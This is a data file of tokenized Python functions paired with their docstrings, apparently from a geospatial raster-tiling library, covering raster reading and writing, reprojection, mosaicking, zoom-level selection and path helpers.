{"signature": "def open(self, input_id, **kwargs):", "body": "if not isinstance(input_id, str):<EOL><INDENT>return input_id.open(self.tile, **kwargs)<EOL><DEDENT>if input_id not in self.params[\"<STR_LIT:input>\"]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % input_id)<EOL><DEDENT>return self.params[\"<STR_LIT:input>\"][input_id].open(self.tile, **kwargs)<EOL>", "docstring": "Open input data.\n\nParameters\n----------\ninput_id : string\n    input identifier from configuration file or file path\nkwargs : driver specific parameters (e.g. resampling)\n\nReturns\n-------\ntiled input data : InputTile\n    reprojected input data within tile", "id": "f12819:c1:m3"}
{"signature": "def hillshade(<EOL>self, elevation, azimuth=<NUM_LIT>, altitude=<NUM_LIT>, z=<NUM_LIT:1.0>, scale=<NUM_LIT:1.0><EOL>):", "body": "return commons_hillshade.hillshade(<EOL>elevation, self, azimuth, altitude, z, scale)<EOL>", "docstring": "Calculate hillshading from elevation data.\n\nParameters\n----------\nelevation : array\n    input elevation data\nazimuth : float\n    horizontal angle of light source (315: North-West)\naltitude : float\n    vertical angle of light source (90 would result in slope shading)\nz : float\n    vertical exaggeration factor\nscale : float\n    scale factor of pixel size units versus height units (insert 112000\n    when having elevation values in meters in a geodetic projection)\n\nReturns\n-------\nhillshade : array", "id": "f12819:c1:m4"}
{"signature": "def contours(<EOL>self, elevation, interval=<NUM_LIT:100>, field='<STR_LIT>', base=<NUM_LIT:0><EOL>):", "body": "return commons_contours.extract_contours(<EOL>elevation, self.tile, interval=interval, field=field, base=base)<EOL>", "docstring": "Extract contour lines from elevation data.\n\nParameters\n----------\nelevation : array\n    input elevation data\ninterval : integer\n    elevation value interval when drawing contour lines\nfield : string\n    output field name containing elevation value\nbase : integer\n    elevation base value the intervals are computed from\n\nReturns\n-------\ncontours : iterable\n    contours as GeoJSON-like pairs of properties and geometry", "id": "f12819:c1:m5"}
{"signature": "def clip(<EOL>self, array, geometries, inverted=False, clip_buffer=<NUM_LIT:0><EOL>):", "body": "return commons_clip.clip_array_with_vector(<EOL>array, self.tile.affine, geometries,<EOL>inverted=inverted, clip_buffer=clip_buffer*self.tile.pixel_x_size)<EOL>", "docstring": "Clip array by geometry.\n\nParameters\n----------\narray : array\n    raster data to be clipped\ngeometries : iterable\n    geometries used to clip source array\ninverted : bool\n    invert clipping (default: False)\nclip_buffer : int\n    buffer (in pixels) geometries before applying clip\n\nReturns\n-------\nclipped array : array", "id": "f12819:c1:m6"}
{"signature": "def read_raster_window(<EOL>input_files,<EOL>tile,<EOL>indexes=None,<EOL>resampling=\"<STR_LIT>\",<EOL>src_nodata=None,<EOL>dst_nodata=None,<EOL>gdal_opts=None<EOL>):", "body": "with rasterio.Env(<EOL>**get_gdal_options(<EOL>gdal_opts,<EOL>is_remote=path_is_remote(<EOL>input_files[<NUM_LIT:0>] if isinstance(input_files, list) else input_files, s3=True<EOL>)<EOL>)<EOL>) as env:<EOL><INDENT>logger.debug(\"<STR_LIT>\", input_files, env.options)<EOL>return _read_raster_window(<EOL>input_files,<EOL>tile,<EOL>indexes=indexes,<EOL>resampling=resampling,<EOL>src_nodata=src_nodata,<EOL>dst_nodata=dst_nodata<EOL>)<EOL><DEDENT>", "docstring": "Return NumPy arrays from an input raster.\n\nNumPy arrays are reprojected and resampled to tile properties from input\nraster. If tile boundaries cross the antimeridian, data on the other side\nof the antimeridian will be read and concatenated to the numpy array\naccordingly.\n\nParameters\n----------\ninput_files : string or list\n    path to a raster file or list of paths to multiple raster files readable by\n    rasterio.\ntile : Tile\n    a Tile object\nindexes : list or int\n    a list of band numbers; None will read all.\nresampling : string\n    one of \"nearest\", \"average\", \"bilinear\" or \"lanczos\"\nsrc_nodata : int or float, optional\n    if not set, the nodata value from the source dataset will be used\ndst_nodata : int or float, optional\n    if not set, the nodata value from the source dataset will be used\ngdal_opts : dict\n    GDAL options passed on to rasterio.Env()\n\nReturns\n-------\nraster : MaskedArray", "id": "f12820:m0"}
{"signature": "def _get_warped_array(<EOL>input_file=None,<EOL>indexes=None,<EOL>dst_bounds=None,<EOL>dst_shape=None,<EOL>dst_crs=None,<EOL>resampling=None,<EOL>src_nodata=None,<EOL>dst_nodata=None<EOL>):", "body": "try:<EOL><INDENT>return _rasterio_read(<EOL>input_file=input_file,<EOL>indexes=indexes,<EOL>dst_bounds=dst_bounds,<EOL>dst_shape=dst_shape,<EOL>dst_crs=dst_crs,<EOL>resampling=resampling,<EOL>src_nodata=src_nodata,<EOL>dst_nodata=dst_nodata<EOL>)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.exception(\"<STR_LIT>\", input_file, e)<EOL>raise<EOL><DEDENT>", "docstring": "Extract a numpy array from a raster file.", "id": "f12820:m3"}
{"signature": "def read_raster_no_crs(input_file, indexes=None, gdal_opts=None):", "body": "with warnings.catch_warnings():<EOL><INDENT>warnings.simplefilter(\"<STR_LIT:ignore>\")<EOL>try:<EOL><INDENT>with rasterio.Env(<EOL>**get_gdal_options(<EOL>gdal_opts, is_remote=path_is_remote(input_file, s3=True)<EOL>)<EOL>):<EOL><INDENT>with rasterio.open(input_file, \"<STR_LIT:r>\") as src:<EOL><INDENT>return src.read(indexes=indexes, masked=True)<EOL><DEDENT><DEDENT><DEDENT>except RasterioIOError as e:<EOL><INDENT>for i in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>if i in str(e):<EOL><INDENT>raise FileNotFoundError(\"<STR_LIT>\" % input_file)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Wrapper function around rasterio.open().read().\n\nParameters\n----------\ninput_file : str\n    Path to file\nindexes : int or list\n    Band index or list of band indexes to be read.\n\nReturns\n-------\nMaskedArray\n\nRaises\n------\nFileNotFoundError if file cannot be found.", "id": "f12820:m5"}
{"signature": "def write_raster_window(<EOL>in_tile=None, in_data=None, out_profile=None, out_tile=None, out_path=None,<EOL>tags=None, bucket_resource=None<EOL>):", "body": "if not isinstance(out_path, str):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>logger.debug(\"<STR_LIT>\", out_path)<EOL>if out_path == \"<STR_LIT>\":<EOL><INDENT>raise DeprecationWarning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>out_tile = in_tile if out_tile is None else out_tile<EOL>_validate_write_window_params(in_tile, out_tile, in_data, out_profile)<EOL>window_data = extract_from_array(<EOL>in_raster=in_data,<EOL>in_affine=in_tile.affine,<EOL>out_tile=out_tile<EOL>) if in_tile != out_tile else in_data<EOL>if \"<STR_LIT>\" in out_profile:<EOL><INDENT>out_profile[\"<STR_LIT>\"] = out_profile.pop(\"<STR_LIT>\")<EOL><DEDENT>if window_data.all() is not ma.masked:<EOL><INDENT>try:<EOL><INDENT>if out_path.startswith(\"<STR_LIT>\"):<EOL><INDENT>with RasterWindowMemoryFile(<EOL>in_tile=out_tile,<EOL>in_data=window_data,<EOL>out_profile=out_profile,<EOL>out_tile=out_tile,<EOL>tags=tags<EOL>) as memfile:<EOL><INDENT>logger.debug((out_tile.id, \"<STR_LIT>\", out_path))<EOL>bucket_resource.put_object(<EOL>Key=\"<STR_LIT:/>\".join(out_path.split(\"<STR_LIT:/>\")[<NUM_LIT:3>:]),<EOL>Body=memfile<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>with rasterio.open(out_path, '<STR_LIT:w>', **out_profile) as dst:<EOL><INDENT>logger.debug((out_tile.id, \"<STR_LIT>\", out_path))<EOL>dst.write(window_data.astype(out_profile[\"<STR_LIT>\"], copy=False))<EOL>_write_tags(dst, tags)<EOL><DEDENT><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>logger.exception(\"<STR_LIT>\", out_path, e)<EOL>raise<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger.debug((out_tile.id, \"<STR_LIT>\", out_path))<EOL><DEDENT>", "docstring": "Write a window from a numpy array to an output file.\n\nParameters\n----------\nin_tile : ``BufferedTile``\n    ``BufferedTile`` with a data attribute holding NumPy data\nin_data : array\nout_profile : dictionary\n    metadata dictionary for rasterio\nout_tile : ``Tile``\n    provides output boundaries; if None, in_tile is used\nout_path : string\n    output path to write to\ntags : optional tags to be added to GeoTIFF file\nbucket_resource : boto3 bucket resource to write to in case of S3 output", "id": "f12820:m6"}
{"signature": "def extract_from_array(in_raster=None, in_affine=None, out_tile=None):", "body": "if isinstance(in_raster, ReferencedRaster):<EOL><INDENT>in_affine = in_raster.affine<EOL>in_raster = in_raster.data<EOL><DEDENT>minrow, maxrow, mincol, maxcol = bounds_to_ranges(<EOL>out_bounds=out_tile.bounds, in_affine=in_affine, in_shape=in_raster.shape<EOL>)<EOL>if (<EOL>minrow >= <NUM_LIT:0> and<EOL>mincol >= <NUM_LIT:0> and<EOL>maxrow <= in_raster.shape[-<NUM_LIT:2>] and<EOL>maxcol <= in_raster.shape[-<NUM_LIT:1>]<EOL>):<EOL><INDENT>return in_raster[..., minrow:maxrow, mincol:maxcol]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Extract raster data window array.\n\nParameters\n----------\nin_raster : array or ReferencedRaster\nin_affine : ``Affine`` required if in_raster is an array\nout_tile : ``BufferedTile``\n\nReturns\n-------\nextracted array : array", "id": "f12820:m9"}
{"signature": "def resample_from_array(<EOL>in_raster=None,<EOL>in_affine=None,<EOL>out_tile=None,<EOL>in_crs=None,<EOL>resampling=\"<STR_LIT>\",<EOL>nodataval=<NUM_LIT:0><EOL>):", "body": "<EOL>if isinstance(in_raster, ma.MaskedArray):<EOL><INDENT>pass<EOL><DEDENT>if isinstance(in_raster, np.ndarray):<EOL><INDENT>in_raster = ma.MaskedArray(in_raster, mask=in_raster == nodataval)<EOL><DEDENT>elif isinstance(in_raster, ReferencedRaster):<EOL><INDENT>in_affine = in_raster.affine<EOL>in_crs = in_raster.crs<EOL>in_raster = in_raster.data<EOL><DEDENT>elif isinstance(in_raster, tuple):<EOL><INDENT>in_raster = ma.MaskedArray(<EOL>data=np.stack(in_raster),<EOL>mask=np.stack([<EOL>band.mask<EOL>if isinstance(band, ma.masked_array)<EOL>else np.where(band == nodataval, True, False)<EOL>for band in in_raster<EOL>]),<EOL>fill_value=nodataval<EOL>)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % type(in_raster))<EOL><DEDENT>if in_raster.ndim == <NUM_LIT:2>:<EOL><INDENT>in_raster = ma.expand_dims(in_raster, axis=<NUM_LIT:0>)<EOL><DEDENT>elif in_raster.ndim == <NUM_LIT:3>:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if in_raster.fill_value != nodataval:<EOL><INDENT>ma.set_fill_value(in_raster, nodataval)<EOL><DEDENT>out_shape = (in_raster.shape[<NUM_LIT:0>], ) + out_tile.shape<EOL>dst_data = np.empty(out_shape, in_raster.dtype)<EOL>in_raster = ma.masked_array(<EOL>data=in_raster.filled(), mask=in_raster.mask, fill_value=nodataval<EOL>)<EOL>reproject(<EOL>in_raster,<EOL>dst_data,<EOL>src_transform=in_affine,<EOL>src_crs=in_crs if in_crs else out_tile.crs,<EOL>dst_transform=out_tile.affine,<EOL>dst_crs=out_tile.crs,<EOL>resampling=Resampling[resampling]<EOL>)<EOL>return ma.MaskedArray(dst_data, mask=dst_data == nodataval)<EOL>", "docstring": "Extract and resample from array to target tile.\n\nParameters\n----------\nin_raster : array\nin_affine : ``Affine``\nout_tile : ``BufferedTile``\nresampling : string\n    one of rasterio's resampling methods (default: nearest)\nnodataval : integer or float\n    raster nodata value (default: 0)\n\nReturns\n-------\nresampled array : array", "id": "f12820:m10"}
{"signature": "def create_mosaic(tiles, nodata=<NUM_LIT:0>):", "body": "if isinstance(tiles, GeneratorType):<EOL><INDENT>tiles = list(tiles)<EOL><DEDENT>elif not isinstance(tiles, list):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if not all([isinstance(pair, tuple) for pair in tiles]):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if not all([<EOL>all([isinstance(tile, BufferedTile), isinstance(data, np.ndarray)])<EOL>for tile, data in tiles<EOL>]):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if len(tiles) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>logger.debug(\"<STR_LIT>\", len(tiles))<EOL>if len(tiles) == <NUM_LIT:1>:<EOL><INDENT>tile, data = tiles[<NUM_LIT:0>]<EOL>return ReferencedRaster(<EOL>data=data,<EOL>affine=tile.affine,<EOL>bounds=tile.bounds,<EOL>crs=tile.crs<EOL>)<EOL><DEDENT>pyramid, resolution, dtype = _get_tiles_properties(tiles)<EOL>shift = _shift_required(tiles)<EOL>m_left, m_bottom, m_right, m_top = None, None, None, None<EOL>for tile, data in tiles:<EOL><INDENT>num_bands = data.shape[<NUM_LIT:0>] if data.ndim > <NUM_LIT:2> else <NUM_LIT:1><EOL>left, bottom, right, top = tile.bounds<EOL>if shift:<EOL><INDENT>left += pyramid.x_size / <NUM_LIT:2><EOL>right += pyramid.x_size / <NUM_LIT:2><EOL>if right > pyramid.right:<EOL><INDENT>right -= pyramid.x_size<EOL>left -= pyramid.x_size<EOL><DEDENT><DEDENT>m_left = min([left, m_left]) if m_left is not None else left<EOL>m_bottom = min([bottom, m_bottom]) if m_bottom is not None else bottom<EOL>m_right = max([right, m_right]) if m_right is not None else right<EOL>m_top = max([top, m_top]) if m_top is not None else top<EOL><DEDENT>height = int(round((m_top - m_bottom) / resolution))<EOL>width = int(round((m_right - m_left) / resolution))<EOL>mosaic = ma.MaskedArray(<EOL>data=np.full((num_bands, height, width), dtype=dtype, fill_value=nodata),<EOL>mask=np.ones((num_bands, height, width))<EOL>)<EOL>affine = Affine(resolution, <NUM_LIT:0>, m_left, <NUM_LIT:0>, -resolution, m_top)<EOL>for tile, data in tiles:<EOL><INDENT>data = prepare_array(data, nodata=nodata, dtype=dtype)<EOL>t_left, t_bottom, t_right, t_top = tile.bounds<EOL>if shift:<EOL><INDENT>t_left += pyramid.x_size / <NUM_LIT:2><EOL>t_right += pyramid.x_size / <NUM_LIT:2><EOL>if t_right > pyramid.right:<EOL><INDENT>t_right -= pyramid.x_size<EOL>t_left -= pyramid.x_size<EOL><DEDENT><DEDENT>minrow, maxrow, mincol, maxcol = bounds_to_ranges(<EOL>out_bounds=(t_left, t_bottom, t_right, t_top),<EOL>in_affine=affine,<EOL>in_shape=(height, width)<EOL>)<EOL>mosaic[:, minrow:maxrow, mincol:maxcol] = data<EOL>mosaic.mask[:, minrow:maxrow, mincol:maxcol] = data.mask<EOL><DEDENT>if shift:<EOL><INDENT>affine = Affine(resolution, <NUM_LIT:0>, m_left - pyramid.x_size / <NUM_LIT:2>, <NUM_LIT:0>, -resolution, m_top)<EOL><DEDENT>return ReferencedRaster(<EOL>data=mosaic,<EOL>affine=affine,<EOL>bounds=Bounds(m_left, m_bottom, m_right, m_top),<EOL>crs=tile.crs<EOL>)<EOL>", "docstring": "Create a mosaic from tiles. Tiles must be connected (also possible over Antimeridian),\notherwise strange things can happen!\n\nParameters\n----------\ntiles : iterable\n    an iterable containing tuples of a BufferedTile and an array\nnodata : integer or float\n    raster nodata value to initialize the mosaic with (default: 0)\n\nReturns\n-------\nmosaic : ReferencedRaster", "id": "f12820:m11"}
{"signature": "def bounds_to_ranges(out_bounds=None, in_affine=None, in_shape=None):", "body": "return itertools.chain(<EOL>*from_bounds(<EOL>*out_bounds, transform=in_affine, height=in_shape[-<NUM_LIT:2>], width=in_shape[-<NUM_LIT:1>]<EOL>).round_lengths(pixel_precision=<NUM_LIT:0>).round_offsets(pixel_precision=<NUM_LIT:0>).toranges()<EOL>)<EOL>", "docstring": "Return bounds range values from geolocated input.\n\nParameters\n----------\nout_bounds : tuple\n    left, bottom, right, top\nin_affine : Affine\n    input geolocation\nin_shape : tuple\n    input shape\n\nReturns\n-------\nminrow, maxrow, mincol, maxcol", "id": "f12820:m12"}
{"signature": "def tiles_to_affine_shape(tiles):", "body": "if not tiles:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>pixel_size = tiles[<NUM_LIT:0>].pixel_x_size<EOL>left, bottom, right, top = (<EOL>min([t.left for t in tiles]),<EOL>min([t.bottom for t in tiles]),<EOL>max([t.right for t in tiles]),<EOL>max([t.top for t in tiles]),<EOL>)<EOL>return (<EOL>Affine(pixel_size, <NUM_LIT:0>, left, <NUM_LIT:0>, -pixel_size, top),<EOL>Shape(<EOL>width=int(round((right - left) / pixel_size, <NUM_LIT:0>)),<EOL>height=int(round((top - bottom) / pixel_size, <NUM_LIT:0>)),<EOL>)<EOL>)<EOL>", "docstring": "Return Affine and shape of combined tiles.\n\nParameters\n----------\ntiles : iterable\n    an iterable containing BufferedTiles\n\nReturns\n-------\nAffine, Shape", "id": "f12820:m13"}
{"signature": "def _shift_required(tiles):", "body": "if tiles[<NUM_LIT:0>][<NUM_LIT:0>].tile_pyramid.is_global:<EOL><INDENT>tile_cols = sorted(list(set([t[<NUM_LIT:0>].col for t in tiles])))<EOL>if tile_cols == list(range(min(tile_cols), max(tile_cols) + <NUM_LIT:1>)):<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>def gen_groups(items):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>j = items[<NUM_LIT:0>]<EOL>group = [j]<EOL>for i in items[<NUM_LIT:1>:]:<EOL><INDENT>if i == j + <NUM_LIT:1>:<EOL><INDENT>group.append(i)<EOL><DEDENT>else:<EOL><INDENT>yield group<EOL>group = [i]<EOL><DEDENT>j = i<EOL><DEDENT>yield group<EOL><DEDENT>groups = list(gen_groups(tile_cols))<EOL>if len(groups) == <NUM_LIT:1>:<EOL><INDENT>return False<EOL><DEDENT>normal_distance = groups[-<NUM_LIT:1>][-<NUM_LIT:1>] - groups[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>antimeridian_distance = (<EOL>groups[<NUM_LIT:0>][-<NUM_LIT:1>] + tiles[<NUM_LIT:0>][<NUM_LIT:0>].tile_pyramid.matrix_width(tiles[<NUM_LIT:0>][<NUM_LIT:0>].zoom)<EOL>) - groups[-<NUM_LIT:1>][<NUM_LIT:0>]<EOL>return antimeridian_distance < normal_distance<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Determine if distance over antimeridian is shorter than normal distance.", "id": "f12820:m15"}
{"signature": "def memory_file(data=None, profile=None):", "body": "memfile = MemoryFile()<EOL>profile.update(width=data.shape[-<NUM_LIT:2>], height=data.shape[-<NUM_LIT:1>])<EOL>with memfile.open(**profile) as dataset:<EOL><INDENT>dataset.write(data)<EOL><DEDENT>return memfile<EOL>", "docstring": "Return a rasterio.io.MemoryFile instance from input.\n\nParameters\n----------\ndata : array\n    array to be written\nprofile : dict\n    rasterio profile for MemoryFile", "id": "f12820:m16"}
{"signature": "def prepare_array(data, masked=True, nodata=<NUM_LIT:0>, dtype=\"<STR_LIT>\"):", "body": "<EOL>if isinstance(data, (list, tuple)):<EOL><INDENT>return _prepare_iterable(data, masked, nodata, dtype)<EOL><DEDENT>elif isinstance(data, np.ndarray) and data.ndim == <NUM_LIT:2>:<EOL><INDENT>data = ma.expand_dims(data, axis=<NUM_LIT:0>)<EOL><DEDENT>if isinstance(data, ma.MaskedArray):<EOL><INDENT>return _prepare_masked(data, masked, nodata, dtype)<EOL><DEDENT>elif isinstance(data, np.ndarray):<EOL><INDENT>if masked:<EOL><INDENT>return ma.masked_values(data.astype(dtype, copy=False), nodata, copy=False)<EOL><DEDENT>else:<EOL><INDENT>return data.astype(dtype, copy=False)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>", "docstring": "Turn input data into a proper array for further usage.\n\nOutut array is always 3-dimensional with the given data type. If the output\nis masked, the fill_value corresponds to the given nodata value and the\nnodata value will be burned into the data array.\n\nParameters\n----------\ndata : array or iterable\n    array (masked or normal) or iterable containing arrays\nnodata : integer or float\n    nodata value (default: 0) used if input is not a masked array and\n    for output array\nmasked : bool\n    return a NumPy Array or a NumPy MaskedArray (default: True)\ndtype : string\n    data type of output array (default: \"int16\")\n\nReturns\n-------\narray : array", "id": "f12820:m17"}
{"signature": "def __init__(<EOL>self, in_tile=None, in_data=None, out_profile=None, out_tile=None, tags=None<EOL>):", "body": "out_tile = in_tile if out_tile is None else out_tile<EOL>_validate_write_window_params(in_tile, out_tile, in_data, out_profile)<EOL>self.data = extract_from_array(<EOL>in_raster=in_data,<EOL>in_affine=in_tile.affine,<EOL>out_tile=out_tile<EOL>)<EOL>if \"<STR_LIT>\" in out_profile:<EOL><INDENT>out_profile[\"<STR_LIT>\"] = out_profile.pop(\"<STR_LIT>\")<EOL><DEDENT>self.profile = out_profile<EOL>self.tags = tags<EOL>", "docstring": "Prepare data & profile.", "id": "f12820:c0:m0"}
{"signature": "def __enter__(self):", "body": "self.rio_memfile = MemoryFile()<EOL>with self.rio_memfile.open(**self.profile) as dst:<EOL><INDENT>dst.write(self.data.astype(self.profile[\"<STR_LIT>\"], copy=False))<EOL>_write_tags(dst, self.tags)<EOL><DEDENT>return self.rio_memfile<EOL>", "docstring": "Open MemoryFile, write data and return.", "id": "f12820:c0:m1"}
{"signature": "def __exit__(self, *args):", "body": "self.rio_memfile.close()<EOL>", "docstring": "Make sure MemoryFile is closed.", "id": "f12820:c0:m2"}
{"signature": "def get_best_zoom_level(input_file, tile_pyramid_type):", "body": "tile_pyramid = BufferedTilePyramid(tile_pyramid_type)<EOL>with rasterio.open(input_file, \"<STR_LIT:r>\") as src:<EOL><INDENT>xmin, ymin, xmax, ymax = reproject_geometry(<EOL>segmentize_geometry(<EOL>box(<EOL>src.bounds.left, src.bounds.bottom, src.bounds.right,<EOL>src.bounds.top<EOL>),<EOL>get_segmentize_value(input_file, tile_pyramid)<EOL>),<EOL>src_crs=src.crs, dst_crs=tile_pyramid.crs<EOL>).bounds<EOL>x_dif = xmax - xmin<EOL>y_dif = ymax - ymin<EOL>size = float(src.width + src.height)<EOL>avg_resolution = (<EOL>(x_dif / float(src.width)) * (float(src.width) / size) +<EOL>(y_dif / float(src.height)) * (float(src.height) / size)<EOL>)<EOL><DEDENT>for zoom in range(<NUM_LIT:0>, <NUM_LIT>):<EOL><INDENT>if tile_pyramid.pixel_x_size(zoom) <= avg_resolution:<EOL><INDENT>return zoom-<NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "Determine the best base zoom level for a raster.\n\n\"Best\" means the maximum zoom level where no oversampling has to be done.\n\nParameters\n----------\ninput_file : path to raster file\ntile_pyramid_type : ``TilePyramid`` projection (``geodetic`` or``mercator``)\n\nReturns\n-------\nzoom : integer", "id": "f12821:m0"}
{"signature": "def get_segmentize_value(input_file=None, tile_pyramid=None):", "body": "with rasterio.open(input_file, \"<STR_LIT:r>\") as input_raster:<EOL><INDENT>pixelsize = input_raster.transform[<NUM_LIT:0>]<EOL><DEDENT>return pixelsize * tile_pyramid.tile_size<EOL>", "docstring": "Return the recommended segmentation value in input file units.\n\nIt is calculated by multiplyling raster pixel size with tile shape in\npixels.\n\nParameters\n----------\ninput_file : str\n    location of a file readable by rasterio\ntile_pyramied : ``TilePyramid`` or ``BufferedTilePyramid``\n    tile pyramid to estimate target tile size\n\nReturns\n-------\nsegmenize value : float\n    length suggested of line segmentation to reproject file bounds", "id": "f12821:m1"}
{"signature": "def tile_to_zoom_level(tile, dst_pyramid=None, matching_method=\"<STR_LIT>\", precision=<NUM_LIT:8>):", "body": "def width_height(bounds):<EOL><INDENT>try:<EOL><INDENT>l, b, r, t = reproject_geometry(<EOL>box(*bounds), src_crs=tile.crs, dst_crs=dst_pyramid.crs<EOL>).bounds<EOL><DEDENT>except ValueError:<EOL><INDENT>raise TopologicalError(\"<STR_LIT>\")<EOL><DEDENT>return r - l, t - b<EOL><DEDENT>if tile.tp.crs == dst_pyramid.crs:<EOL><INDENT>return tile.zoom<EOL><DEDENT>else:<EOL><INDENT>if matching_method == \"<STR_LIT>\":<EOL><INDENT>transform, width, height = calculate_default_transform(<EOL>tile.tp.crs,<EOL>dst_pyramid.crs,<EOL>tile.width,<EOL>tile.height,<EOL>*tile.bounds<EOL>)<EOL>tile_resolution = round(transform[<NUM_LIT:0>], precision)<EOL><DEDENT>elif matching_method == \"<STR_LIT>\":<EOL><INDENT>l, b, r, t = tile.bounds<EOL>x = tile.pixel_x_size<EOL>y = tile.pixel_y_size<EOL>res = []<EOL>for bounds in [<EOL>(l, t - y, l + x, t),  <EOL>(l, b, l + x, b + y),  <EOL>(r - x, b, r, b + y),  <EOL>(r - x, t - y, r, t)   <EOL>]:<EOL><INDENT>try:<EOL><INDENT>w, h = width_height(bounds)<EOL>res.extend([w, h])<EOL><DEDENT>except TopologicalError:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if res:<EOL><INDENT>tile_resolution = round(min(res), precision)<EOL><DEDENT>else:<EOL><INDENT>raise TopologicalError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\", matching_method)<EOL><DEDENT>logger.debug(<EOL>\"<STR_LIT>\",<EOL>tile_resolution<EOL>)<EOL>zoom = <NUM_LIT:0><EOL>while True:<EOL><INDENT>td_resolution = round(dst_pyramid.pixel_x_size(zoom), precision)<EOL>if td_resolution <= tile_resolution:<EOL><INDENT>break<EOL><DEDENT>zoom += <NUM_LIT:1><EOL><DEDENT>logger.debug(\"<STR_LIT>\", tile_resolution, zoom, td_resolution)<EOL>return zoom<EOL><DEDENT>", "docstring": "Determine the best zoom level in target TilePyramid from given Tile.\n\n\nParameters\n----------\ntile : BufferedTile\ndst_pyramid : BufferedTilePyramid\nmatching_method : str ('gdal' or 'min')\n    gdal: Uses GDAL's standard method. Here, the target resolution is calculated by\n        averaging the extent's pixel sizes over both x and y axes. This approach\n        returns a zoom level which may not have the best quality but will speed up\n        reading significantly.\n    min: Returns the zoom level which matches the minimum resolution of the extent's\n        four corner pixels. This approach returns the zoom level with the best\n        possible quality but with low performance. If the tile extent is outside of\n        the destination pyramid, a TopologicalError will be raised.\nprecision : int\n    Round resolutions to n digits before comparing.\n\nReturns\n-------\nzoom : int", "id": "f12821:m2"}
{"signature": "def path_is_remote(path, s3=True):", "body": "prefixes = (\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>if s3:<EOL><INDENT>prefixes += (\"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>return path.startswith(prefixes)<EOL>", "docstring": "Determine whether file path is remote or local.\n\nParameters\n----------\npath : path to file\n\nReturns\n-------\nis_remote : bool", "id": "f12821:m3"}
{"signature": "def path_exists(path):", "body": "if path.startswith((\"<STR_LIT>\", \"<STR_LIT>\")):<EOL><INDENT>try:<EOL><INDENT>urlopen(path).info()<EOL>return True<EOL><DEDENT>except HTTPError as e:<EOL><INDENT>if e.code == <NUM_LIT>:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT>elif path.startswith(\"<STR_LIT>\"):<EOL><INDENT>bucket = get_boto3_bucket(path.split(\"<STR_LIT:/>\")[<NUM_LIT:2>])<EOL>key = \"<STR_LIT:/>\".join(path.split(\"<STR_LIT:/>\")[<NUM_LIT:3>:])<EOL>for obj in bucket.objects.filter(Prefix=key):<EOL><INDENT>if obj.key == key:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\", path, os.path.exists(path))<EOL>return os.path.exists(path)<EOL><DEDENT>", "docstring": "Check if file exists either remote or local.\n\nParameters:\n-----------\npath : path to file\n\nReturns:\n--------\nexists : bool", "id": "f12821:m4"}
{"signature": "def absolute_path(path=None, base_dir=None):", "body": "if path_is_remote(path):<EOL><INDENT>return path<EOL><DEDENT>else:<EOL><INDENT>if os.path.isabs(path):<EOL><INDENT>return path<EOL><DEDENT>else:<EOL><INDENT>if base_dir is None or not os.path.isabs(base_dir):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>return os.path.abspath(os.path.join(base_dir, path))<EOL><DEDENT><DEDENT>", "docstring": "Return absolute path if path is local.\n\nParameters:\n-----------\npath : path to file\nbase_dir : base directory used for absolute path\n\nReturns:\n--------\nabsolute path", "id": "f12821:m5"}
{"signature": "def relative_path(path=None, base_dir=None):", "body": "if path_is_remote(path) or not os.path.isabs(path):<EOL><INDENT>return path<EOL><DEDENT>else:<EOL><INDENT>return os.path.relpath(path, base_dir)<EOL><DEDENT>", "docstring": "Return relative path if path is local.\n\nParameters:\n-----------\npath : path to file\nbase_dir : directory where path sould be relative to\n\nReturns:\n--------\nrelative path", "id": "f12821:m6"}
{"signature": "def makedirs(path):", "body": "if not path_is_remote(path):<EOL><INDENT>try:<EOL><INDENT>os.makedirs(path)<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Silently create all subdirectories of path if path is local.\n\nParameters:\n-----------\npath : path", "id": "f12821:m7"}
